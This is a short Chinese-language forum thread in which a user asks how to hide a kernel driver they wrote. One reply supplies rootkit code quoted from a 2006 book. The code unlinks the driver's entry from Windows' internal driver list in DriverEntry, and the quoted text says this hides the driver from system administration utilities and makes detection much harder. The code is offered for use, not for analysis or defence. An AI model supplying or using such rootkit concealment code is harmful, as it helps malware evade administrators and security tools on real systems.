首页
社区
课程
招聘
关于驱动隐藏自己的方法
发表于: 2010-5-17 17:59 5469

关于驱动隐藏自己的方法

2010-5-17 17:59
5469
我自己做个个sys  我想通过什么方法吧他隐藏起来 请高手赐教一下  就像hidehooz那样隐藏

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 258
活跃值: (40)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
隐藏sys文件本身还是隐藏它生成的设备啊?
隐藏设备可以参考下面的代码:

DRIVER_DATA is part of an undocumented, internal Windows operating system 
structure. Among other things, the structure holds the pointers to the next and 
previous device drivers in the device driver list. Because the rootkit developed in 
this chapter is implemented as a device driver, removing the rootkit’s entry from 
the device driver list will conceal it from system administration utilities, making 
detection much more difficult:



// Copyright Ric Vieler, 2006
// Support header for Ghost.c

#ifndef _GHOST_H_
#define _GHOST_H_

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _DRIVER_DATA
{
 LIST_ENTRY listEntry;
 DWORD  unknown1;
 DWORD  unknown2;
 DWORD  unknown3;
 DWORD  unknown4;
 DWORD  unknown5;
 DWORD  unknown6;
 DWORD  unknown7;
 UNICODE_STRING path;
 UNICODE_STRING name;
} DRIVER_DATA;

#endif

//DriverEntry函数中加入下面的代码
// Hide this driver
 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
 if( driverData != NULL )
 {
  // unlink this driver entry from the driver list
  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
 }
2010-5-17 20:26
0
雪    币: 219
活跃值: (47)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
楼上的代码,没太看明白,呵呵,学习,希望能再给详细点的解释下
2010-5-17 21:40
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
2567696
2010-10-28 07:12
0
游客
登录 | 注册 方可回帖
返回
//